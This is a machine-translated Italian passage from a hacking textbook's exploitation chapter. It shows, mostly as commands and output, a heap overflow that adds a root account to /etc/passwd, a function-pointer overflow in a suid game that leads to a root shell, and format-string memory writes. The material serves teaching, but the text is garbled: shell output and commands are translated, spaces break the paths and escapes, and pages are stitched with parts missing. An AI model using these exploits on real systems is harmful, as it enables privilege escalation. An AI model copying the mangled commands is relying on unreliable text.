Poiché l'algoritmo è unidirezionale, la password originale non può essere ricreata
dal valore hash. Per prevenire attacchi di ricerca, l'algoritmo utilizza un salt
value , che se variato crea un valore hash diverso per lo stesso input
parola d'ordine. Questa è un'operazione comune e Perl ha una funzione crypt () che
lo esegue. Il primo argomento è la password e il secondo è il sale
valore. La stessa password con un sale diverso produce un sale diverso.
reader @ hacking: ~ / booksrc $ perl -e 'print crypt ("password", "AA"). "\ n" "
AA6tQYSfGxd / A
reader @ hacking: ~ / booksrc $ perl -e 'print crypt ("password", "XX"). "\ n" "
XXq2wKiyI43A2
lettore @ hacking: ~ / booksrc $
Sfruttamento 153
Pagina 168
per quell'utente. Utilizzando il valore salt dalla password crittografata memorizzata, il file
il sistema utilizza lo stesso algoritmo di hashing unidirezionale per crittografare qualsiasi testo
l'utente ha digitato come password. Infine, il sistema confronta i due hash;
se sono uguali, l'utente deve aver inserito la password corretta. Questo
consente di utilizzare la password per l'autenticazione senza richiedere che il file
la password deve essere memorizzata ovunque nel sistema.
L'uso di uno di questi hash nel campo della password creerà la password
per l'account essere una password , indipendentemente dal valore di sale utilizzato. La linea per
aggiungere a / etc / passwd dovrebbe essere simile a questo:
Ora / tmp / etc / passwd punta alla shell di login / bin / bash. Questo significa
che una shell di login valida per il file delle password sia anche / tmp / etc / passwd, making
di seguito una riga di file di password valida:
I valori di questa riga devono solo essere leggermente modificati in modo che la porzione
prima di / etc / passwd è lungo esattamente 104 byte:
reader @ hacking: ~ / booksrc $ perl -e 'print "myroot: XXq2wKiyI43A2: 0: 0: me: / root: / tmp"' | wc -c
38
reader @ hacking: ~ / booksrc $ perl -e 'print "myroot: XXq2wKiyI43A2: 0: 0:". "A" x50. ": / root: / tmp" "
| wc -c
86
lettore @ hacking: ~ / booksrc $ gdb -q
(gdb) p 104-86 + 50
$ 1 = 68
(gdb) esci
reader @ hacking: ~ / booksrc $ perl -e 'print "myroot: XXq2wKiyI43A2: 0: 0:". "A" x68. ": / root: / tmp" "
| wc -c
104
lettore @ hacking: ~ / booksrc $
Se / etc / passwd viene aggiunto alla fine di quella stringa finale (mostrata in grassetto), il file
la stringa sopra verrà aggiunta alla fine del file / etc / passwd. E da allora
questa riga definisce un account con privilegi di root con una password che abbiamo impostato, non lo farà
154 0x300
Pagina 169
essere difficile accedere a questo account e ottenere l'accesso come root, come segue
spettacoli di output.
reader @ hacking: ~ / booksrc $ ./notetaker $ (perl -e 'print "myroot: XXq2wKiyI43A2: 0: 0:". "A" x68.
": / root: / tmp / etc / passwd" ')
[DEBUG] buffer @ 0x804a008: 'myroot: XXq2wKiyI43A2: 0: 0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: / root: / tmp / etc / passwd '
[DEBUG] file di dati @ 0x804a070: "/ etc / passwd"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
*** rilevata glibc *** ./notetaker: free (): dimensione successiva non valida (normale): 0x0804a008 ***
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]
/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]
./notetaker[0x8048916]
/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]
./notetaker[0x8048511]
======= Mappa di memoria: ========
08048000-08049000 r-xp 00000000 00: 0f 44384 / cow / home / reader / booksrc / notetaker
08049000-0804a000 rw-p 00000000 00: 0f 44384 / cow / home / reader / booksrc / notetaker
0804a000-0806b000 rw-p 0804a000 00:00 0 [mucchio]
b7d00000-b7d21000 rw-p b7d00000 00:00 0
b7d21000-b7e00000 --- p b7d21000 00:00 0
b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /rofs/lib/libgcc_s.so.1
b7e8e000-b7e8f000 rw-p 0000a000 07:00 15444 /rofs/lib/libgcc_s.so.1
b7e99000-b7e9a000 rw-p b7e99000 00:00 0
b7e9a000-b7fd5000 r-xp 00000000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so
b7fd5000-b7fd6000 r - p 0013b000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so
b7fd6000-b7fd8000 rw-p 0013c000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so
b7fd8000-b7fdb000 rw-p b7fd8000 00:00 0
b7fe4000-b7fe7000 rw-p b7fe4000 00:00 0
b7fe7000-b8000000 r-xp 00000000 07:00 15421 /rofs/lib/ld-2.5.so
b8000000-b8002000 rw-p 00019000 07:00 15421 /rofs/lib/ld-2.5.so
bffeb000-c0000000 rw-p bffeb000 00:00 0 [pila]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
Abortito
lettore @ hacking: ~ / booksrc $ tail / etc / passwd
avahi: x: 105: 111: demone mDNS Avahi ,,,: / var / run / avahi-daemon: / bin / false
cupsys: x: 106: 113 :: / home / cupsys: / bin / false
haldaemon: x: 107: 114: livello di astrazione hardware ,,,: / home / haldaemon: / bin / false
hplip: x: 108: 7: utente del sistema HPLIP ,,,: / var / run / hplip: / bin / false
gdm: x: 109: 118: Gnome Display Manager: / var / lib / gdm: / bin / false
matrice: x: 500: 500: Account utente: / home / matrix: / bin / bash
jose: x: 501: 501: Jose Ronnick: / home / jose: / bin / bash
lettore: x: 999: 999: Hacker ,,,: / home / lettore: / bin / bash
?
myroot: XXq2wKiyI43A2: 0: 0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: /
root: / tmp / etc / passwd
lettore @ hacking: ~ / booksrc $ su myroot
Parola d'ordine:
root @ hacking: / home / reader / booksrc # whoami
radice
root @ hacking: / home / reader / booksrc #
Sfruttamento 155
Pagina 170
Da game_of_chance.c
...
// Variabili globali
struct user player; // Struttura del giocatore
Il buffer dei nomi nella struttura dell'utente è un luogo probabile per un overflow.
Questo buffer è impostato dalla funzione input_name () , mostrata di seguito:
// Questa funzione viene utilizzata per inserire il nome del giocatore, da allora
// scanf ("% s", & qualunque cosa) interromperà l'input al primo spazio.
void input_name () {
char * name_ptr, input_char = '\ n';
while (input_char == '\ n') // Elimina gli avanzi
scanf ("% c", & input_char); // caratteri di nuova riga.
name_ptr = (char *) & (player.name); // name_ptr = indirizzo del nome del giocatore
while (input_char! = '\ n') {// Ciclo fino a nuova riga.
* name_ptr = input_char; // Inserisce il carattere di input nel campo del nome.
scanf ("% c", & input_char); // Ottieni il carattere successivo.
name_ptr ++; // Incrementa il puntatore del nome.
}
* name_ptr = 0; // Termina la stringa.
}
Questa funzione interrompe solo l'immissione di un carattere di nuova riga. Non c'è niente
per limitarlo alla lunghezza del buffer del nome di destinazione, ovvero un overflow
è possibile. Per sfruttare l'overflow, dobbiamo creare il file
il programma chiama il puntatore alla funzione dopo che è stato sovrascritto. Questo accade in
, che viene chiamata quando viene selezionato un gioco dal file
funzione play_the_game ()
menù. Il seguente frammento di codice fa parte del codice di selezione del menu, utilizzato
per scegliere e giocare a un gioco.
156 0x300
Pagina 171
Sfruttamento 157
Pagina 172
7 - Esci
[Nome: Jon Erickson]
[Hai 60 crediti] ->
[1] + Fermato ./game_of_chance
lettore @ hacking: ~ / booksrc $
reader @ hacking: ~ / booksrc $ perl -e 'print "A" x100. "BBBB". "\ n" "
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABBBB
lettore @ hacking: ~ / booksrc $ fg
./game_of_chance
5
158 0x300
Pagina 173
Sfruttamento 159
Pagina 174
0804b630 A _edata
0804b6d4 A _end
080496a0 T _fini
080496c0 R _fp_hw
08048484 T _init
080485c0 T _start
080485e4 t call_gmon_start
Chiudi @@ GLIBC_2.0
0804b640 b completato 1
0804b624 W data_start
080490d1 T dealer_no_match
080486fc T dump
080486d1 T ec_malloc
U exit @@ GLIBC_2.0
08048684 T fatale
080492bf T find_the_ace
08048650 t frame_dummy
080489cc T get_player_data
U getuid @@ GLIBC_2.0
08048d97 T nome_ingresso
08048d70 jackpot T.
08048803 T principale
U malloc @@ GLIBC_2.0
Apri @@ GLIBC_2.0
0804b62c d p.0
U perror @@ GLIBC_2.0
08048fde T pick_a_number
08048f23 T play_the_game
0804b660 lettore B.
08048df8 T print_cards
U printf @@ GLIBC_2.0
U rand @@ GLIBC_2.0
U leggi @@ GLIBC_2.0
08048aaf T register_new_player
U scanf @@ GLIBC_2.0
08048c72 T show_highscore
U srand @@ GLIBC_2.0
U strcpy @@ GLIBC_2.0
U strncat @@ GLIBC_2.0
08048e91 T take_wager
Ora U @@ GLIBC_2.0
08048b72 T update_player_data
Scrivi @@ GLIBC_2.0
lettore @ hacking: ~ / booksrc $
160 0x300
Pagina 175
ingresso. Queste selezioni verranno effettuate come se fossero state digitate. Il seguente
esempio sceglierà la voce di menu 1, prova a indovinare il numero 7, seleziona n quando
chiesto di riprodurre di nuovo e infine selezionare la voce di menu 7 per uscire.
Questa stessa tecnica può essere utilizzata per scrivere tutto il necessario per il file
sfruttare. La riga seguente giocherà al gioco Scegli un numero una volta, quindi
cambia il nome utente in 100 A seguito dall'indirizzo del jackpot ()
funzione. Questo overflow il puntatore alla funzione current_game , quindi quando
il gioco Pick a Number viene giocato di nuovo, viene chiamata la funzione jackpot ()
direttamente.
reader @ hacking: ~ / booksrc $ perl -e 'print "1 \ n5 \ nn \ n5 \ n". "A" x100. "\ x70 \
x8d \ x04 \ x08 \ n "." 1 \ nn \ n "." 7 \ n "'
1
5
Sfruttamento 161
Pagina 176
n
5
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAp?
1
n
7
reader @ hacking: ~ / booksrc $ perl -e 'print "1 \ n5 \ nn \ n5 \ n". "A" x100. "\ x70 \
x8d \ x04 \ x08 \ n "." 1 \ nn \ n "." 7 \ n "'| ./game_of_chance
- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jon Erickson]
[Hai 50 crediti] ->
[DEBUG] puntatore current_game @ 0x08048fde
162 0x300
Pagina 177
Dopo aver confermato che questo metodo funziona, può essere esteso a
guadagnare un numero qualsiasi di crediti.
reader @ hacking: ~ / booksrc $ perl -e 'print "1 \ n5 \ nn \ n5 \ n". "A" x100. "\ x70 \
x8d \ x04 \ x08 \ n "." 1 \ n "." y \ n "x10." n \ n5 \ nJon Erickson \ n7 \ n "'| ./
game_of_chance
- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAp?]
[Hai 140 crediti] ->
[DEBUG] puntatore current_game @ 0x08048fde
Sfruttamento 163
Pagina 178
164 0x300
Pagina 179
Sfruttamento 165
Pagina 180
Come avrai già notato, questo programma esegue anche suid root.
Ciò significa che lo shellcode può essere utilizzato per fare molto di più che vincere crediti gratuiti. Come
con l'overflow basato su stack, lo shellcode può essere nascosto in un ambiente
variabile. Dopo aver creato un buffer di exploit adatto, il buffer viene reindirizzato al file
input standard di game_of_chance. Notare l'argomento trattino che segue il
buffer di exploit nel comando cat. Questo dice al programma cat di inviare standard
input dopo l'exploit buffer, restituendo il controllo dell'input. Nonostante
la shell di root non mostra il suo prompt, è ancora accessibile e continua ad aumentare
privilegi.
166 0x300
Pagina 181
7 - Esci
[Nome: Jon Erickson]
[Hai 60 crediti] ->
Cambia nome utente
Inserisci il tuo nuovo nome: il tuo nome è stato cambiato.
chi sono
radice
id
uid = 0 (root) gid = 999 (lettore)
gruppi = 4 (adm), 20 (dialout), 24 (cdrom), 25 (floppy), 29 (audio), 30 (dip), 44 (video), 46 (
plugdev), 104 (scanner), 112 (netdev), 113 (lpadmin), 115 (powerdev), 117 (admin), 999 (re
ader)
Un exploit della stringa di formato è un'altra tecnica che puoi utilizzare per ottenere il controllo
un programma privilegiato. Come gli exploit di overflow del buffer, anche gli exploit della stringa di formato
dipendono da errori di programmazione che potrebbero non sembrare evidenti
impatto sulla sicurezza. Fortunatamente per i programmatori, una volta che la tecnica è nota,
è abbastanza facile individuare le vulnerabilità delle stringhe di formato ed eliminarle.
Sebbene le vulnerabilità delle stringhe di formato non siano più molto comuni, il
le seguenti tecniche possono essere utilizzate anche in altre situazioni.
Sfruttamento 167
Pagina 182
Parametro Tipo di ingresso Tipo di uscita
%d Valore Decimale
%X Valore Esadecimale
%S Pointer Corda
fmt_uncommon.c
#include <stdio.h>
#include <stdlib.h>
int main () {
int A = 5, B = 7, count_one, count_two;
// Esempio di stack
printf ("A è% d ed è a% 08x. B è% x. \ n", A, & A, B);
uscita (0);
}
Questo programma utilizza due parametri di formato % n nella sua istruzione printf () .
Quello che segue è l'output della compilazione e dell'esecuzione del programma.
168 0x300
Pagina 183
L'operatore indirizzo viene utilizzato per scrivere questi dati nelle variabili count_one e
count_two ,rispettivamente. I valori vengono quindi emessi, rivelando quei 46 byte
si trovano prima del primo % ne 113 prima del secondo.
L'esempio di stack alla fine è un comodo seguito in una spiegazione
del ruolo dello stack con stringhe di formato:
Quando viene chiamata questa funzione printf () (come con qualsiasi funzione), l'argomento
le menti vengono inserite nella pila in ordine inverso. Prima il valore di B , poi il
indirizzo di A , quindi il valore di A e infine l'indirizzo della stringa di formato.
Lo stack apparirà come il diagramma qui.
La funzione di formattazione esegue l'iterazione del file In cima alla pila
Sfruttamento 169
Pagina 184
fmt_vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
if (argc <2) {
printf ("Utilizzo:% s <testo da stampare> \ n", argv [0]);
uscita (0);
}
strcpy (testo, argv [1]);
printf ("Il modo giusto per stampare l'input controllato dall'utente: \ n");
printf ("% s", testo);
printf ("\ nIl modo sbagliato di stampare l'input controllato dall'utente: \ n");
printf (testo);
// Debug dell'output
printf ("[*] test_val @ 0x% 08x =% d 0x% 08x \ n", & test_val, test_val,
test_val);
uscita (0);
}
170 0x300
Pagina 185
Entrambi i metodi sembrano funzionare con il test delle stringhe . Ma cosa succede se
la stringa contiene un parametro di formato? La funzione di formattazione dovrebbe provare a
valutare il parametro di formato e accedere all'argomento della funzione appropriato
aggiungendo al puntatore del fotogramma. Ma come abbiamo visto prima, se appropriato
l'argomento della funzione non è presente, l'aggiunta al puntatore del fotogramma farà riferimento a un file
pezzo di memoria in uno stack frame precedente.
lettore @ hacking: ~ / booksrc $ printf "\ x25 \ x30 \ x38 \ x78 \ x2e \ n"
% 08x.
lettore @ hacking: ~ / booksrc $
Come puoi vedere, sono la memoria per la stringa di formato stessa. Perché
la funzione di formattazione sarà sempre sullo stack frame più alto, purché il file
la stringa di formato è stata memorizzata ovunque nello stack, si troverà sotto
il puntatore del fotogramma corrente (a un indirizzo di memoria più alto). Questo fatto può essere
utilizzato per controllare gli argomenti della funzione di formattazione. È particolarmente utile se
parametri di formato che passano riferimento vengono utilizzati, come % s o % n .
Sfruttamento 171
Pagina 186
Qui il programma getenvaddr viene utilizzato per ottenere l'indirizzo per l'ambiente
variabile PATH . Poiché il nome del programma fmt_vuln è due byte inferiore a
getenvaddr , quattro vengono aggiunti all'indirizzo e i byte vengono invertiti a causa di
ordinamento dei byte. Il quarto parametro di formato di % s legge dall'inizio
della stringa di formato, pensando che sia l'indirizzo passato come funzione
discussione. Poiché questo indirizzo è l'indirizzo della variabile d'ambiente PATH ,
viene stampato come se un puntatore alla variabile d'ambiente fosse passato a printf () .
Ora che la distanza tra la fine dello stack frame e l'inizio
la ning della memoria della stringa di formato è nota, gli argomenti della larghezza del campo possono essere
omesso nei parametri di formato % x . Questi parametri di formato sono necessari solo
per passare attraverso la memoria. Usando questa tecnica, qualsiasi indirizzo di memoria può essere
esaminato come una stringa.
172 0x300
Pagina 187
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ xd7 \ xfd \ xff \ xbf")% 08x.% 08x.% 08x.% s
Il modo giusto per stampare l'input controllato dall'utente:
????% 08x.% 08x.% 08x.% S
Il modo sbagliato per stampare l'input controllato dall'utente:
???? bffff3d0.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/
usr / giochi
[*] test_val @ 0x08049794 = -72 0xffffffb8
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% 08x.% 08x.% 08x.% n
Il modo giusto per stampare l'input controllato dall'utente:
??% 08x.% 08x.% 08x.% N
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0.b7fe75fc.00000000.
[*] test_val @ 0x08049794 = 31 0x0000001f
lettore @ hacking: ~ / booksrc $
Come mostra questo, la variabile test_val può essere effettivamente sovrascritta usando il
Parametro di formato % n . Il valore risultante nella variabile di test dipende da
numero di byte scritti prima di % n . Questo può essere controllato a un maggiore
grado manipolando l'opzione della larghezza del campo.
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% x% n
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc0
[*] test_val @ 0x08049794 = 21 0x00000015
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% 100x% n
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% 100x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc
0
[*] test_val @ 0x08049794 = 120 0x00000078
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% 180x% n
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% 180x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc
0
[*] test_val @ 0x08049794 = 200 0x000000c8
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% 400x% n
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% 400x% n
Sfruttamento 173
Pagina 188
Memoria 94 95 96 97
Prima scrivi a 0x08049794 AA 00 00 00
Seconda scrittura a 0x08049795 BB 00 00 00
Terza scrittura a 0x08049796 CC 00 00 00
Quarta scrittura a 0x08049797 DD 00 00 00
Risultato AA BB CC DD
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% 8x% n
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% 8x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc 0
[*] test_val @ 0x08049794 = 28 0x0000001c
lettore @ hacking: ~ / booksrc $ gdb -q
(gdb) p 0xaa - 28 + 8
$ 1 = 150
(gdb) esci
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% 150x% n
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% 150x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0x000000aa
lettore @ hacking: ~ / booksrc $
174 0x300
Pagina 189
L'ultimo parametro di formato % x utilizza 8 come larghezza del campo per standardizzare il file
produzione. Si tratta essenzialmente di leggere un DWORD casuale dallo stack, che
potrebbe produrre da 1 a 8 caratteri. Dal momento che la prima sovrascrittura mette
28 in test_val, usando 150 come larghezza del campo invece di 8 dovrebbe controllare il file
byte meno significativo di test_val su 0xAA .
Ora per la prossima scrittura. È necessario un altro argomento per un altro % x
parametro di formato per incrementare il conteggio dei byte a 187, che è 0xBB in formato
decimale. Questo argomento potrebbe essere qualsiasi cosa; deve essere lungo solo quattro byte
e deve essere posizionato dopo il primo indirizzo di memoria arbitrario di 0x08049754 .
Poiché tutto questo è ancora nella memoria della stringa di formato, può essere facilmente
controllato. La parola JUNK è lunga quattro byte e funzionerà correttamente.
Dopodiché, il prossimo indirizzo di memoria su cui scrivere, 0x08049755 , dovrebbe
essere messo in memoria in modo che il secondo parametro di formato % n possa accedervi. Questo
significa che l'inizio della stringa di formato dovrebbe essere costituito dalla mem-
ory address, quattro byte di spazzatura, quindi l'indirizzo di memoria di destinazione più uno.
Ma tutti questi byte di memoria vengono stampati anche dalla funzione di formattazione,
incrementando così il contatore di byte utilizzato per il parametro di formato % n . Questo è
diventare complicato.
Forse dovremmo pensare all'inizio della stringa di formato in anticipo
di tempo. L'obiettivo è avere quattro scritture. Ognuno dovrà avere una memoria
indirizzo passato ad esso, e tra tutti, sono necessari quattro byte di spazzatura
incrementare correttamente il contatore di byte per i parametri di formato % n . Il primo
Il parametro di formato % x può utilizzare i quattro byte trovati prima della stringa di formato
stesso, ma i restanti tre dovranno essere forniti dei dati. Per l'intero
procedura di scrittura, l'inizio della stringa di formato dovrebbe essere simile a questo:
Proviamolo.
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08JUNK \ x95 \ x97 \ x04 \ x08JUNK \ x96 \
x97 \ x04 \ x08JUNK \ x97 \ x97 \ x04 \ x08 ")% x% x% 8x% n
Il modo giusto per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ??% x% x% 8x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3c0b7fe75fc 0
[*] test_val @ 0x08049794 = 52 0x00000034
reader @ hacking: ~ / booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$ 1 = 126
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08JUNK \ x95 \ x97 \ x04 \ x08JUNK \ x96 \
x97 \ x04 \ x08JUNK \ x97 \ x97 \ x04 \ x08 ")% x% x% 126x% n
Il modo giusto per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ??% x% x% 126x% n
Il modo sbagliato per stampare l'input controllato dall'utente:
?? JUNK ?? JUNK ?? JUNK ?? bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0x000000aa
lettore @ hacking: ~ / booksrc $
Sfruttamento 175
Pagina 190
Gli indirizzi e i dati indesiderati all'inizio della stringa di formato sono stati modificati
il valore dell'opzione di larghezza del campo necessaria per il parametro di formato % x .
Tuttavia, questo è facilmente ricalcolato utilizzando lo stesso metodo di prima. Un altro
Il modo in cui si sarebbe potuto fare è sottrarre 24 dalla larghezza del campo precedente
valore di 150, poiché sono state aggiunte 6 nuove parole da 4 byte all'inizio del file
stringa di formato.
Ora che tutta la memoria è impostata in anticipo all'inizio del file
stringa di formato, la seconda scrittura dovrebbe essere semplice.
Pagina 191
reader @ hacking: ~ / booksrc $ sed -e 's / 72; / 72, next_val = 0x11111111; /; / @ / {h; s / test / next / g; x; G}'
fmt_vuln.c> fmt_vuln2.c
lettore @ hacking: ~ / booksrc $ diff fmt_vuln.c fmt_vuln2.c
7c7
<static int test_val = -72;
---
> static int test_val = -72, next_val = 0x11111111;
27a28
> printf ("[*] next_val @ 0x% 08x =% d 0x% 08x \ n", & next_val, next_val, next_val);
lettore @ hacking: ~ / booksrc $ gcc -o fmt_vuln2 fmt_vuln2.c
reader @ hacking: ~ / booksrc $ ./fmt_vuln2 test
Il modo giusto:
test
La strada sbagliata:
test
[*] test_val @ 0x080497b4 = -72 0xffffffb8
[*] next_val @ 0x080497b8 = 286331153 0x11111111
lettore @ hacking: ~ / booksrc $
Come mostra l'output precedente, la modifica del codice ha spostato anche il file
indirizzo della variabile test_val . Tuttavia, next_val viene mostrato come adiacente ad esso.
Per fare pratica, scriviamo di nuovo un indirizzo nella variabile test_val , usando il
nuovo indirizzo.
L'ultima volta è stato utilizzato un indirizzo molto conveniente di 0xddccbbaa . Dal momento che ciascuno
byte è maggiore del byte precedente, è facile incrementare il contatore di byte
per ogni byte. Ma cosa succede se viene utilizzato un indirizzo come 0x0806abcd ? Con questo indirizzo,
il primo byte di 0xCD è facile da scrivere utilizzando il parametro di formato % n tramite output-
ting 205 byte byte totali con una larghezza di campo di 161. Ma poi il byte successivo a
essere scritto è 0xAB , che dovrebbe avere 171 byte in uscita. È facile
incrementa il contatore di byte per il parametro di formato % n , ma è impossibile
sottrarre da esso.
Sfruttamento 177
Pagina 192
178 0x300
Pagina 193
4b4e554a
[*] test_val @ 0x080497f4 = 33991629 0x0206abcd
[*] next_val @ 0x080497f8 = 286326784 0x11110000
lettore @ hacking: ~ / booksrc $
Proprio come prima, gli indirizzi appropriati ei dati spazzatura vengono inseriti nel file
inizio della stringa di formato e viene controllato il byte meno significativo
quattro operazioni di scrittura per sovrascrivere tutti e quattro i byte della variabile test_val . Qualunque
le sottrazioni di valore al byte meno significativo possono essere eseguite avvolgendo
eseguire il ping del byte intorno. Inoltre, potrebbe essere necessario aggiungere meno di otto
avvolto in un modo simile.
Sfruttamento 179
Pagina 194
printf ("7 °:% 7 $ d, 4 °:% 4 $ 05d \ n", 10, 20, 30, 40, 50, 60, 70, 80);
180 0x300
Pagina 195
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (perl -e 'print "\ x94 \ x97 \ x04 \ x08". "\ x95 \ x97 \ x04 \ x08"
. "\ x96 \ x97 \ x04 \ x08". "\ x97 \ x97 \ x04 \ x08" ')% 4 \ $ n
Il modo giusto per stampare l'input controllato dall'utente:
????????% 4 $ n
Il modo sbagliato per stampare l'input controllato dall'utente:
????????
[*] test_val @ 0x08049794 = 16 0x00000010
lettore @ hacking: ~ / booksrc $ gdb -q
(gdb) p 0x72 - 16
$ 1 = 98
(gdb) p 0xfd - 0x72
$ 2 = 139
(gdb) p 0xff - 0xfd
$3=2
(gdb) p 0x1ff - 0xfd
$ 4 = 258
(gdb) p 0xbf - 0xff
$ 5 = -64
(gdb) p 0x1bf - 0xff
$ 6 = 192
(gdb) esci
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (perl -e 'print "\ x94 \ x97 \ x04 \ x08". "\ x95 \ x97 \ x04 \ x08"
. "\ x96 \ x97 \ x04 \ x08". "\ x97 \ x97 \ x04 \ x08" ')% 98x% 4 \ $ n% 139x% 5 \ $ n
Il modo giusto per stampare l'input controllato dall'utente:
????????% 98x% 4 $ n% 139x% 5 $ n
Il modo sbagliato per stampare l'input controllato dall'utente:
????????
bffff3c0
b7fe75fc
[*] test_val @ 0x08049794 = 64882 0x0000fd72
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (perl -e 'print "\ x94 \ x97 \ x04 \ x08". "\ x95 \ x97 \ x04 \ x08"
. "\ x96 \ x97 \ x04 \ x08". "\ x97 \ x97 \ x04 \ x08" ')% 98x% 4 \ $ n% 139x% 5 \ $ n% 258x% 6 \ $ n% 192x% 7 \ $ n
Il modo giusto per stampare l'input controllato dall'utente:
????????% 98x% 4 $ n% 139x% 5 $ n% 258x% 6 $ n% 192x% 7 $ n
Il modo sbagliato per stampare l'input controllato dall'utente:
????????
bffff3b0
b7fe75fc
0
8049794
[*] test_val @ 0x08049794 = -1073742478 0xbffffd72
lettore @ hacking: ~ / booksrc $
Sfruttamento 181
Pagina 196
Poiché la pila non deve essere stampata per raggiungere i nostri indirizzi, il file
il numero di byte scritti nel primo parametro di formato è 16. Parametro diretto
l'accesso viene utilizzato solo per i parametri % n , dal momento che non importa cosa
i valori vengono utilizzati per gli spaziatori % x . Questo metodo semplifica il processo di
scrive un indirizzo e riduce la dimensione obbligatoria della stringa di formato.
Il modificatore di lunghezza
Qui, conversione intera sta per conversione d, i, o, u, x o X.
Può essere utilizzato con gli exploit delle stringhe di formato per scrivere short a due byte. Nel
l'output sotto, un breve (mostrato in grassetto) è scritto in entrambe le estremità del file
variabile test_val a quattro byte . Naturalmente è ancora possibile utilizzare l'accesso diretto ai parametri.
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x94 \ x97 \ x04 \ x08")% x% x% x% hn
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% x% hn
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc0
[*] test_val @ 0x08049794 = -65515 0xffff 0015
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x96 \ x97 \ x04 \ x08")% x% x% x% hn
Il modo giusto per stampare l'input controllato dall'utente:
??% x% x% x% hn
Il modo sbagliato per stampare l'input controllato dall'utente:
?? bffff3d0b7fe75fc0
[*] test_val @ 0x08049794 = 1441720 0x0015 ffb8
lettore @ hacking: ~ / booksrc $ ./fmt_vuln $ (printf "\ x96 \ x97 \ x04 \ x08")% 4 \ $ hn
Il modo giusto per stampare l'input controllato dall'utente:
??% 4 $ hn
Il modo sbagliato per stampare l'input controllato dall'utente:
??
[*] test_val @ 0x08049794 = 327608 0x0004ffb8
lettore @ hacking: ~ / booksrc $
Utilizzando scritture brevi, un intero valore di quattro byte può essere sovrascritto con solo
due parametri % hn . Nell'esempio seguente, la variabile test_val sarà over-
scritto ancora una volta con l'indirizzo 0xbffffd72 .
182 0x300
